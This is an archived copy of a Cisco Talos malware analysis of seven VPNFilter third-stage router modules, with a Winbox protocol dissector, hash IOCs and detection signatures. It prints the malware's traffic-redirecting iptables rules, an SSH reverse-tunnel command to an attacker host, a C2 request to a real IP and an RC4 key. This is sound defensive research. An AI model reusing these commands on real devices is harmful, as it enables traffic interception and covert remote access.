{
	"id": "c3fd9168-c342-4ad3-836d-535f759f0cb3",
	"created_at": "2026-04-06T00:08:37.643947Z",
	"updated_at": "2026-04-10T03:22:05.427794Z",
	"deleted_at": null,
	"sha1_hash": "6aa021e0129bfbf3498b5973971a0960d1f72ccd",
	"title": "VPNFilter III: More Tools for the Swiss Army Knife of Malware",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 1109407,
	"plain_text": "VPNFilter III: More Tools for the Swiss Army Knife of Malware\r\nBy Edmund Brumaghin\r\nPublished: 2018-09-26 · Archived: 2026-04-05 14:50:23 UTC\r\nWednesday, September 26, 2018 10:59\r\n# code\r\nSummary\r\nVPNFilter — a multi-stage, modular framework that has infected hundreds of thousands of network devices\r\nacross the globe — is now known to possess even greater capabilities. Cisco Talos recently discovered seven\r\nadditional third-stage VPNFilter modules that add significant functionality to the malware, including an expanded\r\nability to exploit endpoint devices from footholds on compromised network devices. The new functions also\r\ninclude data filtering and multiple encrypted tunneling capabilities to mask command and control (C2) and data\r\nexfiltration traffic. And while we believe our work, and the work of our international coalition of partners, has\r\nmostly neutralized the threat from VPNFilter, it can still be difficult to detect in the wild if any devices remain\r\nunpatched.\r\nTalos has been researching VPNFilter for months. Our initial findings are outlined here, and a description of\r\nadditional modules used by the framework is here. As part of our continued investigation, we developed a\r\ntechnique to examine a key protocol used by MikroTik networking devices to hunt for possible exploitation\r\nmethods used by the actor.\r\nAs we followed the thread of VPNFilter infections, it became clear that MikroTik network devices were heavily\r\ntargeted by the threat actor, especially in Ukraine. Since these devices seemed to be critical to the actor's\r\noperational goals, this led us to try to understand how they were being exploited. Part of our investigation\r\nhttps://blog.talosintelligence.com/2018/09/vpnfilter-part-3.html\r\nPage 1 of 16\n\nincluded the study of the protocol used by MikroTik's Winbox administration utility. In this blog, we'll share how\r\nand why we studied this protocol, as well as the decoder tool we developed as a way of helping the security\r\ncommunity look into this protocol for potential malicious actor activity.\r\nThe sophistication of VPNFilter drives home the point that this is a framework that all individuals and\r\norganizations should be tracking. Only an advanced and organized defense can combat these kinds of threats, and\r\nat the scale that VPNFilter is at, we cannot afford to overlook these new discoveries.\r\nExpanded VPNFilter capabilities\r\nThe discovery of these additional VPNFilter third-stage modules has significantly added to our understanding of\r\nwhat we already knew to be an extremely potent threat. Together, these modules added:\r\n1. Additional capabilities that could be leveraged to map networks and exploit endpoint systems that are\r\nconnected to devices compromised by VPNFilter.\r\n2. Multiple ways for the threat actor to obfuscate and/or encrypt malicious traffic, including communications\r\nused for C2 and data exfiltration.\r\n3. Multiple tools that could be utilized to identify additional victims accessible from the actor's foothold on\r\ndevices compromised by VPNFilter for both lateral movement within a network, as well as to identify new\r\nedge devices in other networks of interest to the actor.\r\n4. The capacity to build a distributed network of proxies that could be leveraged in future unrelated attacks to\r\nprovide a means of obfuscating the true source of attack traffic by making it appear as if the attacks\r\noriginated from devices previously compromised by VPNFilter.\r\nWe were able to confirm the existence and capabilities of the malware after reverse-engineering these additional\r\nmodules. Previously, we had to make analytic assessments on the existence and nature of these capabilities based\r\nsolely on telemetry analysis, which always leaves room for error.\r\nFor example, we had previously noted what appeared to be devices compromised by VPNFilter conducting scans\r\nof large IP spaces that seemed focused on identifying other devices vulnerable to the methods of exploitation used\r\nby the actor associated with the VPNFilter malware. However, now we can discuss the specific third-stage module\r\nused for this activity.\r\nAs a result of our continued research, we have furthered our understanding of the full scope of the capabilities\r\nassociated with VPNFilter after examining these additional third-stage modules.\r\nAdditional third-stage modules\r\nAs previously described, Talos identified the following seven additional third-stage modules that greatly expanded\r\nthe capabilities present within VPNFilter.\r\nhttps://blog.talosintelligence.com/2018/09/vpnfilter-part-3.html\r\nPage 2 of 16\n\nEach of these modules is described in detail in the following sections.\r\n'htpx' (endpoint exploitation module - executable injection)\r\nhtpx is a third-stage module for VPNFilter. This module shares similar code with the 'ssler' module previously\r\ndocumented by Talos. The module relies heavily on open-source code that can be traced to the original projects\r\nbased on strings present within the binary. A good example is 'libiptc.c', which is part of Netfilter.\r\nComparison of strings between 'htpx' (left) and 'ssler' (right).\r\nThe primary function present within the 'htpx' module is responsible for setting up iptables rules to forward\r\nnetwork traffic destined for TCP port 80 to a local server running on port 8888. This redirection is accomplished\r\nby first loading kernel modules that allow for traffic management. These modules ( Ip_tables.ko ,\r\nIptable_filter.ko , and Iptable_nat.ko ) are loaded with the insmod shell command.\r\nThe htpx module then issues the following commands to surreptitiously forward traffic:\r\niptables -I INPUT -p tcp --dport 8888 -j ACCEPT\r\niptables -t nat -I PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8888\r\nhttps://blog.talosintelligence.com/2018/09/vpnfilter-part-3.html\r\nPage 3 of 16\n\nIt also periodically checks to ensure that these rules remain present by issuing similar delete commands then re-adding them. A temp file is also created called /var/run/htpx.pid .\r\nThe following HTTP request is then generated:\r\nGET %s HTTP/1.1\\r\\nHost: 103.6.146.194\\r\\nAccept: */*\\r\\nUser-Agent: curl53\\r\\n\\r\\n\r\nDuring our analysis of the 'htpx' module, we were unable to elicit a response from C2 infrastructure, so we were\r\nunable to observe additional module operations. During our analysis of the module binary, we identified that the\r\nmodule inspects HTTP communications to identify the presence of Windows executables. When they are\r\nencountered, the executable is flagged and added to a table. We assess with moderate confidence that this module\r\ncould be leveraged by attackers to download a binary payload and allow for on-the-fly patching of Windows\r\nexecutables as they pass through compromised devices.\r\n'ndbr' (multi-functional SSH tool)\r\nThe ndbr module is a module with SSH capabilities that also has the ability to port-scan other IPs. This module\r\nuses the dropbear SSH server and client and is a modified version of the dbmulti utility version 2017.75. We have\r\nidentified several modifications to the standard dropbear functionality.\r\nThe first modifications are to the dbmulti utility itself. The typical utility can function as an SSH client, SSH\r\nserver, perform data transfers using SCP, generate keys, or convert keys. The functionality is determined either by\r\nthe program name or the first parameter passed to the program. The 'ndbr' module has replaced the ability to\r\ngenerate or convert keys with a network mapping (i.e., port-scanning) function as well as another function called\r\n'ndbr.'\r\nLike the original \"dbmulti\" utility, the ndbr module's functionality depends either on the name of the program or\r\nthe first argument passed to the program. The arguments that the ndbr module accepts are dropbear, dbclient,\r\nssh, scp, ndbr , and nmap . A description of each of these arguments can be found in the following sections.\r\ndropbear\r\nThe dropbear command instructs the 'ndbr' module to operate as an SSH server. The original dropbear code uses\r\nthe default SSH port (TCP/22) to listen for connections. However, the code present within the 'ndbr' module has\r\nbeen modified to use a default port of TCP/63914. Other modifications to the original dropbear code change the\r\nway that host keyfiles are handled. The default keyfile path has been changed to /db_key, but the 'ndbr' module\r\ndoes not drop this file. Instead, the buf_readfile dropbear function has been modified to load the proper key from\r\nmemory when the filename parameter is equal to /db_key.\r\nInstead of using password-based authentication, the dropbear server has been modified to authenticate via a proper\r\npublic key, which is also embedded in the 'ndbr' executable. A bug in this modified code mishandles connections\r\nattempting to use an incorrect public key. These authentication failures cause the ndbr SSH server to become stuck\r\nin an infinite loop. There is no indication to the client, however, that the authentication has failed. At this time, we\r\nhave been unable to identify a correct key that would allow for successful authentication with the ndbr SSH server\r\nhttps://blog.talosintelligence.com/2018/09/vpnfilter-part-3.html\r\nPage 4 of 16\n\n— neither of the keys embedded in the 'ndbr' module (i.e., /db_key and /cli_key ) were correct, and no\r\ncorresponding keys were found in any other VPNFilter-related binaries.\r\ndbclient (ssh)\r\nIf passed the dbclient or ssh parameter, the 'ndbr' module acts as the standard dropbear SSH command-line\r\ninterface client but with modifications to its default options. As with the default keyfile with dropbear server\r\ncommand, the dbclient/ssh commands have a default identity file: /cli_key . At this time, we do not know what\r\nthe dbclient (SSH client) is expected to connect to.\r\nnmap\r\nIf passed the nmap argument, the ndbr module will perform a port scan of an IP or range of IPs.\r\nThe usage is:\r\n# code\r\nUsage %s -ip* \u003cip-addr: 192.168.0.1/ip-range 192.168.0.0./24\u003e -p* \u003cport: 80/port-range: 25-125\u003e -\r\nnoping \u003cdefault yes\u003e -tcp \u003cdefault syn\u003e -s \u003csource ip\u003e -h/--help (print this help)\r\nndbr\r\nIf passed the ndbr argument, the 'ndbr' module will do one of three operations based on the other parameters it is\r\npassed. The SSH commands will make use of the default keys (i.e., /db_key and /cli_key ) as described\r\nabove.\r\nThe third parameter must begin with the word start or the ndbr module uninstalls itself.\r\nIf the ndbr module is executed using the following parameters:\r\n$ ./ndbr_\u003carch\u003e ndbr \u003cparam1\u003e \u003cparam2\u003e \"start proxy \u003chost\u003e \u003cport\u003e\"\r\nThe following dropbear SSH command will be executed:\r\nssh -y -p \u003cport\u003e prx@\u003chost\u003e srv_ping j(\u003cB64 victim host name\u003e)_\u003cvictim MAC address\u003e \u003cparam2\u003e\r\nThis causes the dropbear SSH client to connect to a remote host and issue the \"srv_ping\" command, which is\r\nlikely used to register the victim with a C2 server.\r\nIf the ndbr module is executed using the following parameters:\r\n$ ./ndbr_\u003carch\u003e ndbr \u003cparam1\u003e \u003cparam2\u003e \"start -l \u003cport\u003e\"\r\nhttps://blog.talosintelligence.com/2018/09/vpnfilter-part-3.html\r\nPage 5 of 16\n\nThe dropbear SSH server (as described above) is started and begins listening on the port specified:\r\nsshd -p \u003cport\u003e\r\nIf the ndbr module is executed with the following parameters:\r\n$ ./ndbr_\u003carch\u003e ndbr \u003cparam1\u003e \u003cparam2\u003e \"start \u003cuser\u003e \u003chost\u003e \u003cport\u003e\"\r\nRemote port forwarding is set up by executing the following dropbear command (see above for explanation of the\r\ncommand options):\r\nsshd -p \u003cport\u003essh -N -T -y -p \u003cport\u003e -R :127.0.0.1:63914 \u003cuser\u003e@\u003chost\u003e\r\n'nm' (network mapper)\r\nThe 'nm' module is used to scan and map the local subnet. It iterates through all interfaces and starts by ARP\r\nscanning for all hosts on the subnet associated with each IP assigned to the interface. Once an ARP reply is\r\nreceived, nm will send an ICMP echo request to the discovered host. If an ICMP echo reply is received it will\r\ncontinue mapping by performing a port scan, trying to connect to the following remote TCP ports on the host: 9,\r\n21, 22, 23, 25, 37, 42, 43, 53, 69, 70, 79, 80, 88, 103, 110, 115, 118, 123, 137, 138, 139, 143, 150, 156, 161, 190,\r\n197, 389, 443, 445, 515, 546, 547, 569, 3306, 8080 or 8291.\r\nNext, it uses the MikroTik Network Discovery Protocol (MNDP) to locate any other MikroTik devices on the\r\nlocal network. If a MikroTik device replies to the MNDP ping, nm extracts the MAC address, system identity,\r\nversion number, platform type, uptime in seconds, RouterOS software ID, RouterBoard model, and interface name\r\nfrom the discovered device.\r\nThe nm module looks in /proc/net/arp to get information about the infected device's ARP table, revealing the\r\nIP and MAC addresses of neighboring devices. Next, the entire contents of /proc/net/wireless are gathered.\r\nThe module performs a traceroute by first creating a TCP connection to 8.8.8.8:53 to confirm its availability (no\r\ndata is sent), then ICMP echo requests are repeatedly sent to this IP with increasing TTLs.\r\nAll of the network information that is gathered is saved to a temporary file named /var/run/repsc_\u003ctime\r\nstamp\u003e.bin. An example .bin file is as follows:\r\nhttps://blog.talosintelligence.com/2018/09/vpnfilter-part-3.html\r\nPage 6 of 16\n\nThe code responsible for the SSDP, CDP and LLDP functions was present within the module but was never called\r\nin the samples analyzed and therefore will always be empty.\r\nThe nm module requires three command line arguments to operate properly, but only the first parameter is used.\r\nLike several other modules, the first parameter is a folder, and this is the location where the data is permanently\r\nsaved. The final task performed by the nm module is the moving of the temporary .bin file containing the results\r\nof the scan to a folder specified as the first command line argument, ostensibly for later exfiltration by the main\r\nVPNFilter process.\r\n'netfilter' (denial-of-service utility)\r\nnetfilter expects three arguments to be given on the command line. The first two arguments are unused, and\r\nthe third argument is a quoted string in the format \"\u003cblock/unblock\u003e \u003c# of minutes\u003e.\" # of minutes' is how long\r\nnetfilter should execute for before exiting. If block was used as the first part of the third argument,\r\nnetfilter adds the following rule to iptables:\r\nhttps://blog.talosintelligence.com/2018/09/vpnfilter-part-3.html\r\nPage 7 of 16\n\nChain FORWARD (policy ACCEPT)\r\ntarget prot opt source destination\r\nDROP tcp -- anywhere anywhere tcpflags: PSH/PSH\r\nAfter adding this rule, netfilter waits 30 seconds and then deletes this rule. If there is still time remaining based on\r\nthe # of minutes value, this process begins again. The addition and deletion loop ensures that the rule persists in\r\nthe event the rule is deleted from the device.\r\nOnce the number of minutes has elapsed, the program exits. Signal handlers are also installed at the beginning of\r\nthe netfilter program that deletes the iptables rule and then exit if the program receives either a SIGINT or\r\nSIGTERM. This is done so the device works as normal in the event someone manually terminates the netfilter\r\nprogram.\r\nFinally, the 'unblock' argument can be used to delete the iptables rule that was previously added using the 'block'\r\nargument.\r\nAlthough there are no other code paths possible, there are indications that there is or could have been something\r\nmore to this module.\r\nThe first indicator is that all of the different netfilter module samples that Talos analyzed (MIPS, PPC, Tile-GX)\r\ncontain the same list of 168 CIDR IP addresses and ranges which tie to the following companies/services:\r\n31.13.64.51 - WhatsApp\r\n169.44.36.0/25 - WhatsApp\r\n203.205.167.0/24 - Tencent (Owner of QQ Chat)\r\n52.0.0.0/16 - Amazon.com, Inc. (The following encrypted applications have used multiple IPs in this range: Wikr,\r\nSignal, Dust and Confide)\r\nThis indicates that the netfilter module may have been designed to deny access to specific forms of encrypted\r\napplications, possibly in an attempt to herd victim communications to a service that the actor preferred they use.\r\nInterestingly, Telegram, an extremely popular encrypted chat application, is missing from the list.\r\nHowever, we were unable to find any references to these strings in the code. All versions of netfilter that we have\r\nsamples for have this same IP range list but do not appear to use it. It's possible that the samples we have are\r\nincomplete.\r\nThe iptables rule that is added by the netfilter module drops TCP packets with the PUSH flag set. This rule would\r\nlikely use iptables rules that block all packets not just TCP packets with the PUSH flag set if its purpose is to\r\nprovide attackers with the ability to launch denial-of-service attacks using compromised devices. Typically, a rule\r\nlike this would be useful as part of a man-in-the-middle attack enabling attackers with access to the devices to\r\nintercept forwarded traffic, manipulate it, then manually forward it. This might explain the list of CIDR ranges as\r\na list of IPs to intercept. We were unable to locate any indication of this sort of functionality present within the\r\nsamples that were analyzed.\r\nhttps://blog.talosintelligence.com/2018/09/vpnfilter-part-3.html\r\nPage 8 of 16\n\nWe have concluded that the IPs are not used. This may be due to them being left over from an older version of the\r\nnetfilter module, functionality that has not yet been implemented, or there may be modifications to the statically\r\nlinked iptables library made by the malware authors that we haven't found yet. The VPNFilter authors have\r\nmodified open-source code before (e.g. the ndbr module), so it's not unexpected that they would change the libiptc\r\ncode linked in the netfilter module.\r\n'portforwarding' (Allows the forwarding of network traffic to attacker specified infrastructure)\r\nThe portforwarding module is designed to be executed with the following command line arguments:\r\n./portforwarding \u003cunused\u003e \u003cunused\u003e \"start \u003cIP1\u003e \u003cPORT1\u003e \u003cIP2\u003e \u003cPORT2\u003e\"\r\nGiven these arguments, the portforwarding module will forward traffic from a particular port and IP combination\r\nto another port and IP by installing the following iptables rules:\r\niptables -t nat -I PREROUTING 1 -p tcp -m tcp -d \u003cIP1\u003e --dport \u003cPORT1\u003e -j DNAT --to-destination \u003cIP2\u003e:\u003cPORT2\u003e\r\niptables -t nat -I POSTROUTING 1 -p tcp -m tcp -d \u003cIP2\u003e --dport \u003cPORT2\u003e -j SNAT --to-source \u003cdevice IP\u003e\r\nThese rules cause any traffic passing through the infected device that is destined to IP1:PORT1 to be redirected to\r\nIP2:PORT2 instead. The second rule then changes the source address of the rerouted traffic to that of the infected\r\ndevice to ensure the responses are sent back to the infected device.\r\nAs a precaution, before installing the iptables rules, the portforwarding module first checks that IP2 is available by\r\ncreating a socket connection to IP2 on PORT2. However, no data is sent before the socket is closed.\r\nLike other modules that manipulate iptables, the portforwarding module enters a loop that adds the rules, waits a\r\nperiod of time, deletes the rules and then adds them again to ensure that the rules persist on the device even if they\r\nare manually deleted.\r\n'socks5proxy' (Enables establishment of a SOCKS5 proxy on compromised devices)\r\nThe socks5proxy module is a SOCKS5 proxy server that appears to be based on the open-source project\r\nshadowsocks. The server uses no authentication and is hardcoded to listen on TCP port 5380. Before the server is\r\nstarted, socks5proxy forks to connect to a C2 server specified in arguments supplied to the module. If the server\r\ndoes not respond within a few seconds, the fork kills its parent process (the server) and then exits. The C2 server\r\ncan respond with commands to execute normally or terminate the server.\r\nThis module contains the following usage strings, though they do not line up with the arguments for the\r\nsocks5proxy module, and these settings cannot be modified through command line arguments:\r\nssserver\r\n --username \u003cusername\u003e username for auth\r\n --password \u003cpassword\u003e password for auth\r\nhttps://blog.talosintelligence.com/2018/09/vpnfilter-part-3.html\r\nPage 9 of 16\n\n-p, --port \u003cport\u003e server port, default to 1080\r\n -d run in daemon\r\n --loglevel \u003clevel\u003e log levels: fatal, error, warning, info, debug, trace\r\n -h, --help help\r\nThe actual command line arguments for the socks5proxy module are:\r\n./socks5proxy \u003cunused\u003e \u003cunused\u003e \"start \u003cC\u0026C IP\u003e \u003cC\u0026C port\u003e\"\r\nThe socks5proxy module verifies the argument count is greater than 1, but the process crashes with a SIGSEV\r\nsignal if two arguments are given, indicating that there may be limited or poor quality control during some phases\r\nof development for this malware toolchain.\r\n'tcpvpn' (Enables establishment of a Reverse-TCP VPN on compromised devices)\r\nThe tcpvpn module is a Reverse-TCP VPN, designed to allow a remote attacker to access internal networks\r\nbehind infected devices. It accomplishes this by beaconing to a remote server, which could be set up like a TunTap\r\ndevice to forward packets over the TCP connection. The connection is seen as outbound by network devices,\r\nwhich may help the module bypass simple firewalls or NAT issues. This module is similar in concept to\r\npenetration testing software Cobalt Strike's VPN Pivoting.\r\nAll data sent through the connection is encrypted with RC4, with a key generated by the hardcoded bytes:\r\n\"213B482A724B7C5F4D77532B45212D215E79433D794A54682E6B653A56796E457A2D7E3B3A2D513B6B515E775E2D7E533B51455A68365E\r\nWhich are sandwiched between the port numbers of the current connection (e.g.,\r\n\"58586!;H*rK|_MwS+E!-!^yC=yJTh.ke:VynEz-~;:-Q;kQ^w^-~S;QEZh6^jgf_4RzsG80\").\r\nThe command line syntax associated with the tcpvpn module are:\r\n./tcpvpn \u003cunused\u003e \u003cunused\u003e \"start \u003cC\u0026C IP\u003e \u003cC\u0026C port\u003e\"\r\nMikroTik Research\r\nIntroducing the Winbox Protocol Dissector\r\nDuring our research into VPNFilter, we needed to determine how some of the devices were compromised. While\r\nexamining the MikroTik series of devices, we noticed an open port (TCP 8291) and that the configuration tool\r\n\"Winbox\" uses that port for communication.\r\nThe traffic from these devices appeared as large blobs of binary data, so we weren't able to determine potential\r\navenues of access using this protocol without a protocol dissector (which to our knowledge, didn't exist publicly).\r\nWe decided to develop our protocol dissector for use with packet analysis tools such as Wireshark to learn more\r\nhttps://blog.talosintelligence.com/2018/09/vpnfilter-part-3.html\r\nPage 10 of 16\n\nabout the protocol, which would allow us to design effective rules to prevent future infections once potential\r\nattack vectors were discovered.\r\nAn example of such an attack vector is CVE-2018-14847 which allows an attacker to perform a directory traversal\r\nfor unauthenticated credential recovery. The dissector proved extremely helpful when we wrote coverage for this\r\nvulnerability (Snort SID: 47684). While an update for this vulnerability has been released, we think it's essential\r\nfor security professionals to be able to monitor this traffic to help identify any other potentially malicious traffic.\r\nPrivacy can still be maintained by ensuring that you either use \"secure mode\" to encrypt communications or\r\ndownload the latest Winbox client which communicates over encrypted channels only. This tool will NOT decrypt\r\nencrypted communications. The latest MikroTik CCR firmware version we tested (6.43.2), enforces the usage of\r\nthis newer Winbox client though this is only enforced client-side. This means that you CAN still communicate\r\nover insecure channels using a custom-made client. Therefore, we believe this Wireshark dissector remains useful\r\nbecause an attacker can still deliver an exploit without having to reimplement said secure communications.\r\nWhat is the \"Winbox Protocol?\"\r\nThe term \"Winbox\" comes from the Winbox client offered by MikroTik as an alternative to the web GUI.\r\nFrom the official documentation, Winbox is a small utility that allows for the administration of MikroTik\r\nRouterOS using a fast and simple GUI. It is a native Win32 binary but can be run on Linux and MacOS (OSX)\r\nusing Wine, an open-source compatibility layer. All Winbox interface functions are as close as possible to\r\nmirroring the console functions — that is why there are no Winbox sections in the manual. Some of the advanced\r\nand critical system configurations are not possible from Winbox, like changing the MAC address on an interface.\r\nThe term \"Winbox Protocol\" is not official, as far as we know. It's simply the term we chose since it matches the\r\nname of their client.\r\nUsing the dissector\r\nInstallation is simple, and since this is a LUA-based dissector, recompilation is not necessary. Simply drop the\r\nWinbox_Dissector.lua file into your /$HOME/.wireshark/plugins folder. By default, any TCP traffic to or from\r\nTCP port 8291 will be properly decoded as Winbox traffic once the dissector is installed.\r\nWhile a single message from the client/server to its destination would be preferable for parsing purposes, this is\r\nnot always the case and observing live communications proved that there are many ways that Winbox messages\r\ncan be formatted and sent.\r\nBelow is an example of a Winbox communications capture that has the following properties:\r\nMultiple messages sent in the same packet.\r\nMessages containing one or more two-byte \"chunks\" that need to be removed before parsing.\r\nMessages too long for a single packet — TCP reassembly applied.\r\nMessages containing additional \"nested\" messages\r\nHere is how the capture is displayed before installing the dissector:\r\nhttps://blog.talosintelligence.com/2018/09/vpnfilter-part-3.html\r\nPage 11 of 16\n\nThe communications are correctly parsed in Wireshark following installation of the Winbox protocol dissector:\r\nhttps://blog.talosintelligence.com/2018/09/vpnfilter-part-3.html\r\nPage 12 of 16\n\nObtaining the Dissector\r\nTo improve the security community's ability to analyze these communications and to monitor for threats that may\r\nattempt to take advantage of the Winbox Protocol, Cisco Talos is releasing this dissector for public use. For\r\nadditional information and to obtain the dissector, please see the GitHub repository here.\r\nConclusion\r\nAs a result of the capabilities we previously discovered in VPNFilter coupled with our new findings, we now\r\nconfirm that VPNFilter provides attackers all of the functionality required to leverage compromised network and\r\nstorage devices to further pivot into and attack systems within the network environments that are being targeted.\r\nIt also allows attackers to leverage their access to sensitive systems such as gateway and routing devices to\r\nperform activities such as network mapping and endpoint exploitation, network communications monitoring and\r\nhttps://blog.talosintelligence.com/2018/09/vpnfilter-part-3.html\r\nPage 13 of 16\n\ntraffic manipulation, among other serious threats. Another dangerous capability provided by VPNFilter is the\r\nability to turn compromised devices into proxies that could be leveraged to obfuscate the source of future,\r\nunrelated attacks by making it appear as if the attacks originate from networks previously compromised by\r\nVPNFilter. The sophisticated nature of this framework further illustrates the advanced capabilities of the threat\r\nactors making use of it, as well as the need for organizations to deploy robust defensive architectures to combat\r\nthreats such as VPNFilter.\r\nWith this new understanding of VPNFilter, most of our unanswered questions about the malware itself have now\r\nbeen answered. However, there are still significant unknowns about this threat that linger to this day:\r\nHow did the actor gain initial access to affected devices?\r\nWhile we strongly assess that they utilized widely known, public vulnerabilities based on the makes/models\r\naffected by VPNFilter, we still don't have definitive proof of this.\r\nIs the actor attempting to reconstitute their access?\r\nBased on our telemetry and information from our partners, it appears that VPNFilter has been entirely neutralized\r\nsince we and our international coalition of partners (law enforcement, intelligence organizations, and the Cyber\r\nThreat Alliance) countered the threat earlier this year. Most C2 channels for the malware have been mitigated. The\r\nstage 2 implants were non-persistent, so most have likely been cleared from infected devices. We have seen no\r\nsigns of the actor attempting to reconnect with devices that may still have the persistent stage 1 with an open\r\nlistener.\r\nDoes this mean the actor has abandoned this expansive foothold into the small and home office (SOHO) network\r\ndevice space? Are they instead reconstituting their access by starting over, re-exploiting and dropping new\r\nunknown malware? Have they given up on having broad worldwide SOHO access in favor of a more tailored\r\napproach only going after specific key targets?\r\nWhatever the answers may be, we know that the actor behind VPNFilter is extremely capable and driven by their\r\nmission priorities to continually maneuver to achieve their goals. In one form or another, they continue to develop\r\nand use the tools and frameworks necessary to achieve their mission objective(s).\r\nIOCs\r\na43a4a218cf5755ce7a7744702bb45a34321339ab673863bf6f00ac193cf55fc\r\naac52856690468687bbe9e357d02835e9f5226a85eacc19c34ff681c50a6f0d8\r\n13165d9673c240bf43630cddccdc4ab8b5672085520ee12f7596557be02d3605\r\nb81f857cd8efab6e6e5368b1c00d93505808b0db4b773bee1843a3bc948d3f4f\r\n809f93cbcfe5e45fae5d69ca7e64209c02647660d1a79b52ec6d05071b21f61a\r\n7ff2e167370e3458522eaa7b0fb81fe21cd7b9dec1c74e7fb668e92e261086e0\r\n81368d8f30a8b2247d5b1f8974328e9bd491b574285c2f132108a542ea7d38c7\r\nb301d6f2ba8e532b6e219f3d9608a56d643b8f289cfe96d61ab898b4eab0e3f5\r\n99e1db762ff5645050cea4a95dc03eac0db2ceb3e77d8f17b57cd6e294404cc7\r\n76bf646fce8ff9be94d48aad521a483ee49e1cb53cfd5021bb8b933d2c4a7f0f\r\ne009b567516b20ef876da6ef4158fad40275a960c1efd24c804883ae273566b0\r\nhttps://blog.talosintelligence.com/2018/09/vpnfilter-part-3.html\r\nPage 14 of 16\n\n7c06b032242abefe2442a8d716dddb216ec44ed2d6ce1a60e97d30dbba1fb643\r\nf8080b9bfc1bd829dce94697998a6c98e4eb6c9848b02ec10555279221dd910a\r\n4e350d11b606a7e0f5e88270938f938b6d2f0cc8d62a1fdd709f4a3f1fa2c828\r\nf1cf895d29970c5229b6a640c253b9f306185d4e99f4eac83b7ba1a325ef9fb8\r\n8395e650e94b155bbf4309f777b70fa8fdc44649f3ab335c1dfdfeb0cdee44ff\r\na249a69e692fff9992136914737621f117a7d8d4add6bac5443c002c379fe072\r\n5e75b8b5ebbef78f35b00702ced557cf0f30f68ee08b399fc26a3e3367bb177b\r\nfe022403a9d4c899d8d0cb7082679ba608b69091a016e08ad9e750186b1943dd\r\n116d584de3673994e716e86fbb3945e0c6102bfbd30c48b13872a808091e6bc9\r\n4263c93ce53d7f88c62fecb6a948d70e51c19e1049e07df2c70a467bcefee2c8\r\n5d70e7dd5872cc0d7d0f7015c11400e891c939549c01922bff2bbe3b7d5d1ce3\r\n5c52f115ab8a830d402fac8627d0bfdcbbfd4dcf0e6ad8154d49bb85387893aa\r\ne75e224c909c9ead4cb50cd772f606407b09b146051bfb28015fcbe27b4a5e8d\r\n999f14044f41adfd9fb6c97c04d7d2fd9af01724b3ab69739acf615654abfa43\r\nb118b23a192f372616efe8c2b12977d379ac76df22493c14361587bd1cc8a804\r\n7ba0dc46510492a7f6c9b2bcc155333898d677cd8a88fe0e1ac1ad3852f1c170\r\n83b3dbf7f6bc5f98151b26781fa892fc1a014c62af18c95ae537848204f413b8\r\nfce03f57b3fd3842efac3ce676687794c4decc29b612068e578134f3c4c4296a\r\n1f26b69a353198bb047dde86d48198be8271e07f8c9d647d2f562207e1330a37\r\n1e824654afba03678f8177e065c487a07192069711eeb4abe397010771b463b5\r\n84227f906c7f49071d6598b9035fc785d2b144a6349d0cf7c29177c00db2dc2f\r\n6eb09f805a68b29c9516d649019bea0bb4796e504ca379783455508a08f61087\r\naa5baa135b2ada5560833747260545d6a5b49558f6244c0f19443dc87c00294d\r\n4c5e21125738c330af1bfe5cabc5f18fa14bbef53805dda2c3c31974555f7ec5\r\n0f3746f273281472e7181f1dd1237f0c9fc26f576a883f42413c759f381006c4\r\nacfc72b8d6611dc9cd6a3f1a4484aa0adfb404ad5faaa8b8db5747b0ff05bc22\r\nfe9c17ac036622b2d73466f62b5d095edda2d3b60fa546a48d0bb18f8b11059f\r\n830091904dab92467956b91555bc88fa7e6bbde514b8a90bb078c8a3bb2f39a9\r\n5a28ad479d55275452e892b799c32803f81307079777bb1a5c4d24477206d16b\r\n8440128350e98375b7eff67a147dfe4e85067d67f2ad20d9485f3de246505a5f\r\n275c4e86218915c337d7e37e7caba36cb830512b17353bf9716c4ba6dceb33ed\r\nb700207c903e8da41f33f11b69f703324ec79eb56c98b22efaeac0a10447ec44\r\n2aa149a88539e8dd065c8885053a30d269be63d41a5db3f66c1982202761aa75\r\n1a11240d0af108720de1a8a72ceadef102889f4d5679c1a187559d8d98143b0b\r\n3b6be595b4183b473964345090077b1df29b0cace0077047b46174cc09c690e1\r\n620c51f83457d0e8cb985f1aff07c6d4a33da7566297d41af681ae3e5fbd2f80\r\n4c8da690501c0073a3c262a3079d8efac3fea9e2db9c55f3c512589e9364e85c\r\nd92282acf3fea66b05a75aba695e98a5ea1cc1151f9e5370f712b69a816bf475\r\n30382c1e7566d59723ff7ef785a1395711be64873dbca6d86691b1f5d86ba29f\r\nCoverage\r\nThe following new coverage has been developed to detect additional modules used by VPNFilter\r\nNew Snort for ndbr:\r\nsid:1:47377:1\r\nhttps://blog.talosintelligence.com/2018/09/vpnfilter-part-3.html\r\nPage 15 of 16\n\nNew Clam AV:\r\nUnix.Trojan.Vpnfilter_htpx-6596262-0\r\nUnix.Trojan.Vpnfilter_ndbr-6598711-0\r\nUnix.Trojan.Vpnfilter_netfilter-6599563-0\r\nUnix.Trojan.Vpnfilter_nm-6598714-0\r\nUnix.Trojan.Vpnfilter_portforwarding-6599587-0\r\nUnix.Trojan.Vpnfilter_socks5proxy-6599614-0\r\nUnix.Trojan.Vpnfilter_tcpvpn-6606298-0\r\nUpdated Clam AV:\r\nThe following ClamAV signatures were updated to improve detection of additional Stage 1 and Stage 2 modules\r\nused by VPNFilter:\r\nUnix.Trojan.Vpnfilter-6425812-1\r\nUnix.Trojan.Vpnfilter-6550592-1\r\nSource: https://blog.talosintelligence.com/2018/09/vpnfilter-part-3.html\r\nhttps://blog.talosintelligence.com/2018/09/vpnfilter-part-3.html\r\nPage 16 of 16",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia",
		"ETDA"
	],
	"references": [
		"https://blog.talosintelligence.com/2018/09/vpnfilter-part-3.html"
	],
	"report_names": [
		"vpnfilter-part-3.html"
	],
	"threat_actors": [],
	"ts_created_at": 1775434117,
	"ts_updated_at": 1775791325,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/6aa021e0129bfbf3498b5973971a0960d1f72ccd.pdf",
		"text": "https://archive.orkl.eu/6aa021e0129bfbf3498b5973971a0960d1f72ccd.txt",
		"img": "https://archive.orkl.eu/6aa021e0129bfbf3498b5973971a0960d1f72ccd.jpg"
	}
}